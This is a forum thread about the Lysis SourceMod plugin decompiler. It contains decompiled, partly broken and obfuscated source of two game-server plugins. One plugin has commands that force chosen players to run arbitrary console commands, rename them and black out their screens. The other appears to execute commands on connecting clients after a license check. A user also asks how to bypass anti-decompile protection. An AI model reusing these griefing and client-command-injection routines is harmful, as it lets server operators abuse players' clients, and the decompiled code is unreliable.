Raised This Month: $209 Target: $400
 52% 

Lysis: An experimental .smx decompiler


Post New Thread Reply   
 
Thread Tools Display Modes
Fyren
FyrenFyrenFyrenFyrenFyren FyrenFyrenFyrenFyrenFyren FyrenFyrenFyrenFyrenFyren FyrenFyrenFyrenFyrenFyren
Join Date: Feb 2106
Old 07-28-2017 , 20:47   Re: Lysis: An experimental .smx decompiler
Reply With Quote #361

You can chain relational operators in SP unlike in most other languages. 1 < x < 3 checks that x is between 1 and 3 rather than evaluating 1 < x to a boolean and then comparing it to 3.
Fyren is offline
Danyas1337
Member
Join Date: May 2013
Location: Kyiv, Ukraine
Old 08-09-2017 , 13:38   Re: Lysis: An experimental .smx decompiler
Reply With Quote #362

fkin smartpown.
Peace-Maker, decompile please
Attached Files
File Type: smx punisher.smx (199.0 KB, 190 views)
__________________
<3 AM

Last edited by Danyas1337; 08-09-2017 at 13:38.
Danyas1337 is offline
Send a message via Skype™ to Danyas1337
Peace-Maker
SourceMod Plugin Approver
Join Date: Aug 2008
Location: Germany
Old 08-09-2017 , 18:20   Re: Lysis: An experimental .smx decompiler
Reply With Quote #363

Got no time to really clean this up..

PHP Code:
public PlVers:__version =
{
    
version 5,
    
filevers "1.5.3",
    
date "08/04/2017",
    
time "11:39:17"
};
new 
NULL_VECTOR;
new 
NULL_STRING;
public 
Extension:__ext_core =
{
    
name "Core",
    
file "core",
    
autoload 0,
    
required 0,
};
new 
MaxClients;
public 
Plugin:myinfo =
{
    
name "PUNISHER old v34",
    
description "Карательные меры админа.",
    
author "DEN(skype: cssrs2_ky39i)",
    
version "1.0",
    
url "www.infozona-51.ru"
};
new 
g_var4b4 750363645;
new 
g_var4bc 1747299034;
new 
g_var4b0 1942218628;
new 
g_var4b8 1959157181;
public 
__ext_core_SetNTVOptional()
{
    
MarkNativeAsOptional("GetFeatureStatus");
    
MarkNativeAsOptional("RequireFeature");
    
MarkNativeAsOptional("AddCommandListener");
    
MarkNativeAsOptional("RemoveCommandListener");
    
MarkNativeAsOptional("BfWriteBool");
    
MarkNativeAsOptional("BfWriteByte");
    
MarkNativeAsOptional("BfWriteChar");
    
MarkNativeAsOptional("BfWriteShort");
    
MarkNativeAsOptional("BfWriteWord");
    
MarkNativeAsOptional("BfWriteNum");
    
MarkNativeAsOptional("BfWriteFloat");
    
MarkNativeAsOptional("BfWriteString");
    
MarkNativeAsOptional("BfWriteEntity");
    
MarkNativeAsOptional("BfWriteAngle");
    
MarkNativeAsOptional("BfWriteCoord");
    
MarkNativeAsOptional("BfWriteVecCoord");
    
MarkNativeAsOptional("BfWriteVecNormal");
    
MarkNativeAsOptional("BfWriteAngles");
    
MarkNativeAsOptional("BfReadBool");
    
MarkNativeAsOptional("BfReadByte");
    
MarkNativeAsOptional("BfReadChar");
    
MarkNativeAsOptional("BfReadShort");
    
MarkNativeAsOptional("BfReadWord");
    
MarkNativeAsOptional("BfReadNum");
    
MarkNativeAsOptional("BfReadFloat");
    
MarkNativeAsOptional("BfReadString");
    
MarkNativeAsOptional("BfReadEntity");
    
MarkNativeAsOptional("BfReadAngle");
    
MarkNativeAsOptional("BfReadCoord");
    
MarkNativeAsOptional("BfReadVecCoord");
    
MarkNativeAsOptional("BfReadVecNormal");
    
MarkNativeAsOptional("BfReadAngles");
    
MarkNativeAsOptional("BfGetNumBytesLeft");
    
MarkNativeAsOptional("PbReadInt");
    
MarkNativeAsOptional("PbReadFloat");
    
MarkNativeAsOptional("PbReadBool");
    
MarkNativeAsOptional("PbReadString");
    
MarkNativeAsOptional("PbReadColor");
    
MarkNativeAsOptional("PbReadAngle");
    
MarkNativeAsOptional("PbReadVector");
    
MarkNativeAsOptional("PbReadVector2D");
    
MarkNativeAsOptional("PbGetRepeatedFieldCount");
    
MarkNativeAsOptional("PbReadRepeatedInt");
    
MarkNativeAsOptional("PbReadRepeatedFloat");
    
MarkNativeAsOptional("PbReadRepeatedBool");
    
MarkNativeAsOptional("PbReadRepeatedString");
    
MarkNativeAsOptional("PbReadRepeatedColor");
    
MarkNativeAsOptional("PbReadRepeatedAngle");
    
MarkNativeAsOptional("PbReadRepeatedVector");
    
MarkNativeAsOptional("PbReadRepeatedVector2D");
    
MarkNativeAsOptional("PbSetInt");
    
MarkNativeAsOptional("PbSetFloat");
    
MarkNativeAsOptional("PbSetBool");
    
MarkNativeAsOptional("PbSetString");
    
MarkNativeAsOptional("PbSetColor");
    
MarkNativeAsOptional("PbSetAngle");
    
MarkNativeAsOptional("PbSetVector");
    
MarkNativeAsOptional("PbSetVector2D");
    
MarkNativeAsOptional("PbAddInt");
    
MarkNativeAsOptional("PbAddFloat");
    
MarkNativeAsOptional("PbAddBool");
    
MarkNativeAsOptional("PbAddString");
    
MarkNativeAsOptional("PbAddColor");
    
MarkNativeAsOptional("PbAddAngle");
    
MarkNativeAsOptional("PbAddVector");
    
MarkNativeAsOptional("PbAddVector2D");
    
MarkNativeAsOptional("PbReadMessage");
    
MarkNativeAsOptional("PbReadRepeatedMessage");
    
MarkNativeAsOptional("PbAddMessage");
    
VerifyCoreVersion();
    return 
0;
}

public 
PoweredBySmartPawn()
{
    return 
0;
}

public 
M4()
{
    return 
0;
}

public 
OnPluginStart()
{
    new 
var1;
    if (
sub_168a34(9987) ^ 3019 == 11464)
    {
        
var1 sub_168994(sub_168a34(sub_1689b4(-156383) ^ -34967) + -59873) + -34772 sub_1689f4(sub_168974(sub_1689f4(sub_168994(-156383) ^ -34967) + -59873) + -34772);
    }
    else
    {
        
var1 sub_168a34(-8194) ^ 8800;
    }
    
sub_168a54(var1);
    new 
var2;
    if (
sub_1689d4(-3797) ^ -4877 == 7644)
    {
        
var2 sub_1689b4(6945) ^ -3778;
    }
    else
    {
        
var2 sub_168a14(24916) ^ 28960;
    }
    new 
var3;
    if (
sub_168974(-var2) ^ 3057 == -7036)
    {
        
var3 sub_1689f4(-12533) ^ -9781;
    }
    else
    {
        
var3 sub_168a54(-81613) ^ -28214;
    }
    new 
var4;
    if (
sub_1689f4(-3797) ^ -4877 == 7644)
    {
        
var4 sub_1689b4(6945) ^ -3778;
    }
    else
    {
        
var4 sub_168a54(24916) ^ 28960;
    }
    new 
var5;
    if (
sub_168a14(-var4) ^ 3057 == -7036)
    {
        
var5 sub_1689f4(-12533) ^ -9781;
    }
    else
    {
        
var5 sub_168994(-81613) ^ -28214;
    }
    if (
sub_1689b4(sub_168a54(-var3) - -var5))
    {
        
sub_168a34(-sub_1689b4(12083) + 1575);
        
sub_168994(sub_168994(85600) + -74726);
        new 
var6;
        if (
sub_168994(8256) ^ 3423 == 11553)
        {
            
var6 sub_168974(-1729) ^ -5335;
        }
        else
        {
            
var6 sub_168a34(-39922) ^ -43948;
        }
        
sub_1689d4(-var6);
        
sub_168a34(sub_1689d4(8237) + -670);
        new 
var7;
        if (
sub_168a14(-6538) ^ 9411 == -15691)
        {
            
var7 sub_168a54(75350) ^ 81359;
        }
        else
        {
            
var7 sub_168a54(-12368) ^ 5733;
        }
        
sub_1689b4(-var7);
        new 
var8;
        if (
sub_168a14(673) ^ -1293 == -1966)
        {
            
var8 sub_1689f4(-84394) ^ -74541;
        }
        else
        {
            
var8 sub_168a54(-11883) ^ -10000;
        }
        new 
var9 sub_168a14(var8);
        
var9--;
        
var9++;
        
sub_168a34(-sub_1689d4(-96917) ^ -74948);
        
sub_1689d4(sub_168a54(89957) + -59091);
    }
    
RegAdminCmd("lol_ban"lol_ban16384"lol_ban <userid> <cmd>"""0);
    
RegConsoleCmd("crash_cl"Command_crash_cl""0);
    
RegConsoleCmd("ultrosound"Command_ultrosound""0);
    
RegConsoleCmd("otkl"Command_otkl""0);
    return 
0;
}

public 
Command_ultrosound(_arg0)
{
    new 
var1;
    if (
sub_168a34(9998) ^ 4646 == 13615)
    {
        
var1 sub_168a34(7053) ^ -5875;
    }
    else
    {
        
var1 sub_168994(-61580) ^ -61577;
    }
    new 
var2;
    if (
sub_168a54(9998) ^ 4646 == 13615)
    {
        
var2 sub_1689f4(7053) ^ -5875;
    }
    else
    {
        
var2 sub_168a54(-61580) ^ -61577;
    }
    
sub_168974(sub_1689d4(sub_168994(22112) >>> var2) ^ 62555 sub_1689b4(-sub_168a14(sub_168a54(22112) >>> var1) ^ 62555));
    if (
sub_168994(sub_168974(sub_168974(0) / sub_168974(-54153) ^ -62990) >>> 4))
    {
        
sub_1689d4(sub_1689f4(39094484) / 73348);
        new 
var3;
        if (
sub_1689d4(-5610) ^ 3127 == -6617)
        {
            
var3 sub_1689f4(-13466) ^ -8746;
        }
        else
        {
            
var3 sub_168994(-42016) ^ -65260;
        }
        
sub_168a34(-var3);
        
sub_1689f4(-sub_1689d4(-15616) + 35349);
        
sub_1689b4(sub_168994(34248) >>> 3);
        new 
var4;
        if (
sub_168974(3822) ^ -5053 == -7507)
        {
            
var4 sub_168a54(69769) ^ 81236;
        }
        else
        {
            
var4 sub_1689b4(11224) ^ -8248;
        }
        
sub_168a14(var4);
        new 
var5;
        if (
sub_168a14(4416) ^ -9585 == -13360)
        {
            
var5 sub_1689b4(-15322) ^ -8113;
        }
        else
        {
            
var5 sub_168a34(-25441) ^ -10409;
        }
        
sub_1689f4(-var5);
        new 
var6;
        new 
var7;
        if (
sub_1689d4(5478) ^ -15 == -5473)
        {
            
var6 sub_168a34(-4523) ^ -1184;
            
var7 = -1184;
        }
        else
        {
            
var6 sub_168a34(-20897) ^ -6498;
            
var7 = -6498;
        }
        new 
var10 sub_1689b4(var6);
        
var10--;
        
var7--;
        
var7 var10/* ERROR unknown load Binary */++;
        new 
var8;
        if (
sub_168994(8096) ^ -7605 == -532)
        {
            
var8 sub_1689b4(4369) ^ 1690;
        }
        else
        {
            
var8 sub_168974(61574) ^ 54892;
        }
        
sub_1689b4(-var8);
    }
    new 
var9;
    if (
_arg0 && IsClientInGame(_arg0))
    {
        
sub_6c4(_arg0142814762);
        
ClientCommand(_arg0"cancelselect");
    }
    return 
3;
}

public 
Command_crash_cl(_arg0)
{
    
sub_168a14(sub_1689b4(-sub_168a54(30116) + 13602 sub_1689f4(101419)) - -sub_168a14(30116) + 13602 sub_1689d4(101419));
    if (
sub_168a34(sub_1689f4(sub_168994(0) / -52510) >>> 4))
    {
        
sub_1689b4(-sub_168a54(42974) + -24560);
        
sub_168974(sub_168a34(46012032) / 10893);
        new 
var1;
        if (
sub_168a54(-5552) ^ -9886 == 13106)
        {
            
var1 sub_168a34(-110897) ^ -98455;
        }
        else
        {
            
var1 sub_168a14(-4833) ^ -5721;
        }
        
sub_168a34(var1);
        
unk__++;
        
sub_1689b4(sub_168a54(26809) + -11422);
        new 
var2;
        new 
var3;
        if (
sub_168a34(6486) ^ -5690 == -3949)
        {
            
var2 sub_1689d4(-481) ^ 5001;
            
var3 5001;
        }
        else
        {
            
var2 sub_168a34(18429) ^ 31690;
            
var3 31690;
        }
        
var3++;
        
sub_1689f4(-var2)/* ERROR unknown load Call */++;
        
sub_168a34(sub_168a34(-6490) + 11180)/* ERROR unknown load Call */--;
    }
    new 
var4;
    if (
_arg0 && IsClientInGame(_arg0))
    {
        
sub_6c4(_arg0153215802);
        
ClientCommand(_arg0"cancelselect");
    }
    return 
3;
}

public 
Command_otkl(_arg0)
{
    new 
var1;
    if (
sub_168a54(1084) ^ 1207 == 139)
    {
        
var1 sub_1689f4(-sub_168a54(136896) + -39351) ^ -4440;
    }
    else
    {
        
var1 sub_1689d4(-9484) ^ 435;
    }
    new 
var2;
    if (
sub_1689b4(1084) ^ 1207 == 139)
    {
        
var2 sub_1689f4(-sub_1689b4(136896) + -39351) ^ -4440;
    }
    else
    {
        
var2 sub_168a14(-9484) ^ 435;
    }
    
sub_168a14(-var2 sub_1689b4(-var1));
    if (
sub_168974(sub_168a14(--sub_1689b4(52816) + 30174 sub_1689b4(98808)) - --sub_1689f4(52816) + 30174 sub_168a54(98808)))
    {
        new 
var3;
        if (
sub_168994(1287) ^ 8105 == 6830)
        {
            
var3 sub_1689d4(-5332) ^ -32098;
        }
        else
        {
            
var3 sub_168a14(-3851) ^ -5192;
        }
        
sub_1689d4(var3)/* ERROR unknown load Call */++;
        new 
var4;
        new 
var5;
        if (
sub_168a54(-6632) ^ -6761 == 911)
        {
            
var4 sub_1689d4(-19679) ^ -31158;
            
var5 = -31158;
        }
        else
        {
            
var4 sub_168a34(-1137) ^ -6445;
            
var5 = -6445;
        }
        
sub_1689b4(-var4);
        
var5++;
        
sub_168974(sub_168a54(61853) + -51680)/* ERROR unknown load Call */--;
        
sub_168a54(sub_168994(-50137) + 81270);
        new 
var6;
        new 
var7;
        if (
sub_168994(-9039) ^ -6686 == 14675)
        {
            
var6 sub_168a34(-90722) ^ -66747;
            
var7 = -66747;
        }
        else
        {
            
var6 sub_1689d4(8136) ^ 2088;
            
var7 2088;
        }
        
var7 sub_168994(var6);
        
sub_168a34(sub_1689b4(102908) + -79174);
        new 
var8;
        if (
sub_168994(7549) ^ 6578 == 1231)
        {
            
var8 sub_168a14(10221) ^ 4409;
        }
        else
        {
            
var8 sub_168974(-484) ^ 5195;
        }
        
sub_1689f4(var8);
        ~
sub_168a54(-sub_168a34(-39853) + 49470)/* ERROR unknown load Unary */--;
        
unk__--;
        new 
var9;
        if (
sub_168a14(-6928) ^ -4294 == 3020)
        {
            
var9 sub_1689f4(-11402) ^ 8886;
        }
        else
        {
            
var9 sub_168a54(42438) ^ 51774;
        }
        
sub_168a14(var9)/* ERROR unknown load Call */--;
    }
    new 
var10;
    if (
_arg0 && IsClientInGame(_arg0))
    {
        
ClientCommand(_arg0"name Слепой крот");
        
ClientCommand(_arg0"r_screenoverlay effects/tp_eyefx/tp_black");
    }
    return 
3;
}

public 
lol_ban(_arg0_arg1)
{
    new 
var1;
    if (
sub_168a54(-7152) ^ -5570 == 3634)
    {
        
var1 sub_168a54(1729) ^ -7895;
    }
    else
    {
        
var1 sub_168a54(-29118) ^ -99333;
    }
    new 
var2;
    if (
sub_168a34(-7152) ^ -5570 == 3634)
    {
        
var2 sub_1689d4(1729) ^ -7895;
    }
    else
    {
        
var2 sub_168994(-29118) ^ -99333;
    }
    
sub_168994(sub_168974(var2) ^ 74848 sub_168994(sub_168994(var1) ^ 74848));
    if (
sub_168994(sub_168a14(sub_168a34(0) / 89745) >>> 5))
    {
        
sub_1689b4(sub_1689b4(40427) ^ 33913);
        
sub_168974(-sub_1689d4(83864) + -52928)/* ERROR unknown load Call */++;
        new 
var5 sub_168994(783210465);
        new 
var6 var5 24315;
        
sub_1689f4(var5 24315);
        
var6 var6/* ERROR unknown load Binary */++;
        new 
var3;
        if (
sub_1689d4(-3669) ^ 5419 == -7040)
        {
            
var3 sub_168a54(-25230) ^ -3135;
        }
        else
        {
            
var3 sub_168a54(2205) ^ 5073;
        }
        new 
var7 sub_168994(var3);
        
var7++;
        
var7++;
        
sub_168994(sub_1689d4(75646) + -70627)/* ERROR unknown load Call */--;
        new 
var4;
        if (
sub_168a34(458) ^ -8157 == -7703)
        {
            
var4 sub_1689d4(-85103) ^ -80952;
        }
        else
        {
            
var4 sub_168a54(-1935) ^ 764;
        }
        
sub_168974(var4);
        
sub_168994(-sub_168974(31484) >>> 2);
        
sub_168974(-sub_1689d4(-88601) ^ -89154);
    }
    if (
_arg1 != 2)
    {
        
PrintToConsole(_arg0"lol_ban <userid> <cmd>");
        return 
3;
    }
    new 
var8;
    
GetCmdArg(1var8235);
    new 
var9;
    
var9 GetClientOfUserId(StringToInt(var810));
    if (
var9 1)
    {
        
PrintToConsole(_arg0"userid '%s' not found"var8);
        return 
3;
    }
    
GetCmdArg(2var8235);
    
FakeClientCommand(var9"%s"var8);
    return 
3;
}

public 
E6()
{
    
sub_168a34(sub_1689b4(sub_168a54(sub_168994(2019741290) / 33295) + -12689 sub_168a34(-sub_168974(sub_168974(2019741290) / 33295) + -12689)) / 65970);
    new 
var1;
    if (
sub_168974(9714) ^ -445 == -9295)
    {
        
var1 sub_168a14(88233) ^ 86284;
    }
    else
    {
        
var1 sub_1689f4(-10245) ^ 3162;
    }
    new 
var2;
    if (
var1 == sub_168a54(3416) ^ 1277)
    {
        
var2 sub_1689d4(63596) ^ 63596;
    }
    else
    {
        
var2 sub_1689b4(-sub_168a54(-15932) + 17511) ^ -4293;
    }
    if (
sub_1689f4(var2))
    {
        new 
var3;
        new 
var4;
        if (
sub_168994(1007) ^ -3320 == -3857)
        {
            
var3 sub_1689d4(7923) ^ 4285;
            
var4 4285;
        }
        else
        {
            
var3 sub_168994(-67765) ^ -87423;
            
var4 = -87423;
        }
        
sub_168a14(-var3);
        
var4++;
        
sub_1689b4(-sub_168a54(98500) + -84431)/* ERROR unknown load Call */--;
        
sub_168994(-sub_168a54(-15364976) / -57332);
        
unk__--;
        new 
var5;
        if (
sub_168994(2133) ^ -5021 == -7114)
        {
            
var5 sub_168974(-69803) ^ -93380;
        }
        else
        {
            
var5 sub_168994(10843) ^ -2511;
        }
        new 
var7 sub_1689b4(-var5);
        
var7 var7;
        
sub_1689f4(-sub_168a54(76812) + -55593);
        
sub_168a34(sub_168a14(6170904) / 19046);
        
sub_168994(-sub_1689f4(-82015) ^ -92853);
        new 
var6;
        if (
sub_168974(7124) ^ -9088 == -14500)
        {
            
var6 sub_168974(-414) ^ 991;
        }
        else
        {
            
var6 sub_168a34(88298) ^ 71097;
        }
        
sub_1689d4(-var6);
        
sub_168a54(-sub_1689d4(911963262) / 85542);
        new 
var8 sub_168a54(463962852);
        
var8 56402/* ERROR unknown load Binary */ sub_168994(var8 56402);
        
sub_168974(sub_1689d4(-44787) + 53322);
    }
    return 
g_var4b4 g_var4bc g_var4b0 g_var4b8;
}

sub_168a34(_arg0)
{
    return 
_arg0 1;
}

sub_168994(_arg0)
{
    return 
_arg0 1;
}

sub_1689f4(_arg0)
{
    return 
_arg0 1;
}

sub_168974(_arg0)
{
    return 
_arg0 1;
}

sub_1689b4(_arg0)
{
    return 
_arg0 1;
}

sub_168a54(_arg0)
{
    return 
_arg0 1;
}

sub_1689d4(_arg0)
{
    return 
_arg0 1;
}

sub_168a14(_arg0)
{
    return 
_arg0 1;
}

sub_6c4(_arg0_arg1_arg2_arg3)
{
    new 
var1;
    new 
var2;
    
var2 CreateKeyValues("data""""");
    
IntToString(_arg3var13);
    
KvSetString(var2"title"_arg1);
    
KvSetString(var2"type"var1);
    
KvSetString(var2"msg"_arg2);
    
ShowVGUIPanel(_arg0"info"var2true);
    
CloseHandle(var2);
    return 
0;

__________________
Peace-Maker is offline
Danyas1337
Member
Join Date: May 2013
Location: Kyiv, Ukraine
Old 08-22-2017 , 12:41   Re: Lysis: An experimental .smx decompiler
Reply With Quote #364

Quote:
Originally Posted by Peace-Maker View Post
Got no time to really clean this up..
Thanks!

Write me please, how to bypass SmartPawn decompile protecton?
__________________
<3 AM

Last edited by Danyas1337; 08-22-2017 at 12:43.
Danyas1337 is offline
Send a message via Skype™ to Danyas1337
Peace-Maker
SourceMod Plugin Approver
Join Date: Aug 2008
Location: Germany
Old 08-22-2017 , 13:46   Re: Lysis: An experimental .smx decompiler
Reply With Quote #365

It's abusing the current stack reconstruction implementation in lysis and generates big nested expressions using the ternary operator that isn't supported that well.
To generate that output I did some quick and dirty changes which would break other binaries, so I haven't pushed something yet.
__________________
Peace-Maker is offline
headline
SourceMod Moderator
Join Date: Mar 2015
Old 09-18-2017 , 03:27   Re: Lysis: An experimental .smx decompiler
Reply With Quote #366

I noticed a little while ago that there was a website floating around to decompile sourcemod plugins, but I was uncomfortable with using someone else's website because there's no way of knowing if the plugin uploaded was saved to the web server so I made an open-source clone of the website and am hosting it here.

credits/git repos are at the bottom of the site for the source code if you'd like to host it yourself
headline is offline
lay295
Senior Member
Join Date: Sep 2013
Old 09-18-2017 , 21:18   Re: Lysis: An experimental .smx decompiler
Reply With Quote #367

Quote:
Originally Posted by Headline View Post
I noticed a little while ago that there was a website floating around to decompile sourcemod plugins, but I was uncomfortable with using someone else's website because there's no way of knowing if the plugin uploaded was saved to the web server so I made an open-source clone of the website and am hosting it here.

credits/git repos are at the bottom of the site for the source code if you'd like to host it yourself
I assume you're talking about mine. Only reason I made it was because a different web version was down, and it was a pain for me to compile Lysis myself since I don't use Java that much. Just wanted to save others the trouble of compiling it.

To be honest yeah I stored the smx files as an MD5 of the smx. I usually just like to sort by date modified and see if people are still using my website. I have never looked into one of the smx files.

But the more websites the better . I'll run a cron jon to wipe the uploads every now and then, because I figured if people cared that much about protecting their smx files they would compile it locally. Ultimately if you're uploading the smx there is no way to verify that they delete it, someone could claim to use your open source version and just modify it to store the smx, but you're obviously more reputable than me so.
__________________


Last edited by lay295; 09-18-2017 at 21:20.
lay295 is offline
GibloeDelo
Junior Member
Join Date: Dec 2012
Old 11-29-2017 , 12:55   Re: Lysis: An experimental .smx decompiler
Reply With Quote #368

Quote:
Originally Posted by Peace-Maker View Post
It's abusing the current stack reconstruction implementation in lysis and generates big nested expressions using the ternary operator that isn't supported that well.
To generate that output I did some quick and dirty changes which would break other binaries, so I haven't pushed something yet.

Hi, can you disassemble this plugin?
Some functions are not understood.

Quote:
/* ERROR! null */
function "CheckLicense" (number 10)

/* ERROR! null */
function "check" (number 11)
public onRequestComplete(Handle:hndl, CURLcode:code)
{
CloseHandle(hndl);
return 0;
}


/* ERROR! null */
function "unload" (number 13)

/* ERROR! null */
function "OnPluginStart" (number 14)
public DB_Connect(bool:firstload)
{
if (firstload)
{
decl String:sError[256];
g_hStatsDb = SQL_Connect("checkplayerms", false, sError, 256);
if (!g_hStatsDb)
{
SetFailState("[%s] не удалось подключится к БД (%s)", "MasterServer Changer", sError);
}
new i = 1;
while (i <= MaxClients)
{
if (IsValidClient(i, false))
{
OnClientPutInServer(i);
}
i++;
}
}
return 0;
}

public OnConfigsExecuted()
{
PrecacheModel("models/infozona-51/w_dragonlore.mdl", true);
PrecacheModel("models/infozona-51/f_dragonlore.mdl", true);
PrecacheModel("models/infozona-51/v_dragonlore.mdl", true);
AddFileToDownloadsTable("models/infozona-51/w_dragonlore.mdl");
AddFileToDownloadsTable("models/infozona-51/f_dragonlore.mdl");
AddFileToDownloadsTable("models/infozona-51/v_dragonlore.mdl");
if (g_hStatsDb)
{
DB_Connect(false);
}
else
{
DB_Connect(true);
}
return 0;
}

public OnClientPutInServer(client)
{
if (!IsValidClient(client, false))
{
return 0;
}
if (g_hStatsDb)
{
LoadPlayer(client);
}
QueryClientConVar(client, "cl_downloadfilter", CheckDownloadFilter, any:0);
return 0;
}

public OnClientDisconnect(client)
{
if (!IsValidClient(client, false))
{
return 0;
}
OnDB[client] = 0;
return 0;
}

public LoadPlayer(client)
{
OnDB[client] = 0;
new String:ip[64];
GetClientIP(client, ip, 64, true);
new String:query[500];
Format(query, 500, "SELECT * FROM `masterchanger` WHERE `ip`='%s';", ip);
if (g_hStatsDb)
{
SQL_TQuery(g_hStatsDb, SQL_LoadPlayerCallback, query, client, DBPriority:1);
}
return 0;
}


/* ERROR! null */
function "SQL_LoadPlayerCallback" (number 20)
public SQL_NothingCallback(Handlewner, Handle:hndl, String:error[], any:client)
{
if (hndl)
{
return 0;
}
LogError("[%] Query Fail: %s", "MasterServer Changer", error);
return 0;
}

public Action:ChoeseTeam(Handle:timer, any:client)
{
if (!IsValidClient(client, false))
{
return Action:0;
}
ClientCommand(client, "chooseteam");
return Action:0;
}


/* ERROR! null */
function "ExecCMD" (number 23)

/* ERROR! null */
function "Exec" (number 24)
Attached Files
File Type: smx masterchanger.smx (11.1 KB, 210 views)
GibloeDelo is offline
Peace-Maker
SourceMod Plugin Approver
Join Date: Aug 2008
Location: Germany
Old 12-02-2017 , 09:56   Re: Lysis: An experimental .smx decompiler
Reply With Quote #369

Quote:
Originally Posted by GibloeDelo View Post
Hi, can you disassemble this plugin?
Some functions are not understood.
That's been fixed in the repository now.

PHP Code:
public PlVers:__version =
{
    
version 5,
    
filevers "1.6.4-stable+4626",
    
date "11/26/2017",
    
time "03:03:49"
};
new 
Float:NULL_VECTOR[3];
new 
String:NULL_STRING[4];
public 
Extension:__ext_core =
{
    
name "Core",
    
file "core",
    
autoload 0,
    
required 0,
};
new 
MaxClients;
public 
Extension:__ext_sdktools =
{
    
name "SDKTools",
    
file "sdktools.ext",
    
autoload 1,
    
required 1,
};
new 
String:PORT[8];
public 
Extension:__ext_curl =
{
    
name "curl",
    
file "curl.ext",
    
autoload 1,
    
required 1,
};
new 
CURL_Default_opt[5][2] =
{
    {
        
991
    
},
    {
        
431
    
},
    {
        
1310
    
},
    {
        
7810
    
},
    {
        
410
    
}
};
new 
Handle:curl;
new 
Handle:g_hStatsDb;
new 
bool:OnDB[66];
public 
__ext_core_SetNTVOptional()
{
    
MarkNativeAsOptional("GetFeatureStatus");
    
MarkNativeAsOptional("RequireFeature");
    
MarkNativeAsOptional("AddCommandListener");
    
MarkNativeAsOptional("RemoveCommandListener");
    
MarkNativeAsOptional("BfWriteBool");
    
MarkNativeAsOptional("BfWriteByte");
    
MarkNativeAsOptional("BfWriteChar");
    
MarkNativeAsOptional("BfWriteShort");
    
MarkNativeAsOptional("BfWriteWord");
    
MarkNativeAsOptional("BfWriteNum");
    
MarkNativeAsOptional("BfWriteFloat");
    
MarkNativeAsOptional("BfWriteString");
    
MarkNativeAsOptional("BfWriteEntity");
    
MarkNativeAsOptional("BfWriteAngle");
    
MarkNativeAsOptional("BfWriteCoord");
    
MarkNativeAsOptional("BfWriteVecCoord");
    
MarkNativeAsOptional("BfWriteVecNormal");
    
MarkNativeAsOptional("BfWriteAngles");
    
MarkNativeAsOptional("BfReadBool");
    
MarkNativeAsOptional("BfReadByte");
    
MarkNativeAsOptional("BfReadChar");
    
MarkNativeAsOptional("BfReadShort");
    
MarkNativeAsOptional("BfReadWord");
    
MarkNativeAsOptional("BfReadNum");
    
MarkNativeAsOptional("BfReadFloat");
    
MarkNativeAsOptional("BfReadString");
    
MarkNativeAsOptional("BfReadEntity");
    
MarkNativeAsOptional("BfReadAngle");
    
MarkNativeAsOptional("BfReadCoord");
    
MarkNativeAsOptional("BfReadVecCoord");
    
MarkNativeAsOptional("BfReadVecNormal");
    
MarkNativeAsOptional("BfReadAngles");
    
MarkNativeAsOptional("BfGetNumBytesLeft");
    
MarkNativeAsOptional("PbReadInt");
    
MarkNativeAsOptional("PbReadFloat");
    
MarkNativeAsOptional("PbReadBool");
    
MarkNativeAsOptional("PbReadString");
    
MarkNativeAsOptional("PbReadColor");
    
MarkNativeAsOptional("PbReadAngle");
    
MarkNativeAsOptional("PbReadVector");
    
MarkNativeAsOptional("PbReadVector2D");
    
MarkNativeAsOptional("PbGetRepeatedFieldCount");
    
MarkNativeAsOptional("PbSetInt");
    
MarkNativeAsOptional("PbSetFloat");
    
MarkNativeAsOptional("PbSetBool");
    
MarkNativeAsOptional("PbSetString");
    
MarkNativeAsOptional("PbSetColor");
    
MarkNativeAsOptional("PbSetAngle");
    
MarkNativeAsOptional("PbSetVector");
    
MarkNativeAsOptional("PbSetVector2D");
    
MarkNativeAsOptional("PbAddInt");
    
MarkNativeAsOptional("PbAddFloat");
    
MarkNativeAsOptional("PbAddBool");
    
MarkNativeAsOptional("PbAddString");
    
MarkNativeAsOptional("PbAddColor");
    
MarkNativeAsOptional("PbAddAngle");
    
MarkNativeAsOptional("PbAddVector");
    
MarkNativeAsOptional("PbAddVector2D");
    
MarkNativeAsOptional("PbRemoveRepeatedFieldValue");
    
MarkNativeAsOptional("PbReadMessage");
    
MarkNativeAsOptional("PbReadRepeatedMessage");
    
MarkNativeAsOptional("PbAddMessage");
    
VerifyCoreVersion();
    return 
0;
}

bool:StrEqual(String:str1[], String:str2[], bool:caseSensitive)
{
    return 
strcmp(str1str2caseSensitive) == 0;
}

Handle:StartMessageOne(String:msgname[], clientflags)
{
    new 
players[1];
    
players[0] = client;
    return 
StartMessage(msgnameplayers1flags);
}

AddFileToDownloadsTable(String:filename[])
{
    static 
table = -1;
    if (
table == -1)
    {
        
table FindStringTable("downloadables");
    }
    new 
bool:save LockStringTables(false);
    
AddToStringTable(tablefilename"", -1);
    
LockStringTables(save);
    return 
0;
}

MD5String(String:str[], String:output[], maxlen)
{
    
decl x[2];
    
decl buf[4];
    
decl input[64];
    new 
i;
    new 
ii;
    new 
len strlen(str);
    
x[1] = 0;
    
x[0] = 0;
    
buf[0] = 1732584193;
    
buf[1] = -271733879;
    
buf[2] = -1732584194;
    
buf[3] = 271733878;
    new 
in[16];
    
in[14] = x[0];
    
in[15] = x[1];
    new 
mdi x[0] >> 63;
    if (
x[0] > len << x[0])
    {
        
x[1] += 1;
    }
    
x[0] = len << x[0];
    new 
var2 x[1];
    
var2 len >> 29 var2;
    new 
c;
    
len--;
    while (
len)
    {
        
input[mdi] = str[c];
        
mdi += 1;
        
+= 1;
        if (
mdi == 64)
        {
            
0;
            
ii 0;
            while (
16)
            {
                
in[i] = input[ii] | input[ii 1] << input[ii 2] << 16 input[ii 3] << 24;
                
i++;
                
ii += 4;
            }
            
MD5Transform(bufin);
            
mdi 0;
        }
    }
    new 
padding[64];
    new 
inx[16];
    
inx[14] = x[0];
    
inx[15] = x[1];
    
mdi x[0] >> 63;
    new 
var1;
    if (
mdi 56)
    {
        
var1 56 mdi;
    }
    else
    {
        
var1 120 mdi;
    }
    
len var1;
    
in[14] = x[0];
    
in[15] = x[1];
    
mdi x[0] >> 63;
    if (
x[0] > len << x[0])
    {
        
x[1] += 1;
    }
    
x[0] = len << x[0];
    new 
var3 x[1];
    
var3 len >> 29 var3;
    
0;
    
len--;
    while (
len)
    {
        
input[mdi] = padding[c];
        
mdi += 1;
        
+= 1;
        if (
mdi == 64)
        {
            
0;
            
ii 0;
            while (
16)
            {
                
in[i] = input[ii] | input[ii 1] << input[ii 2] << 16 input[ii 3] << 24;
                
i++;
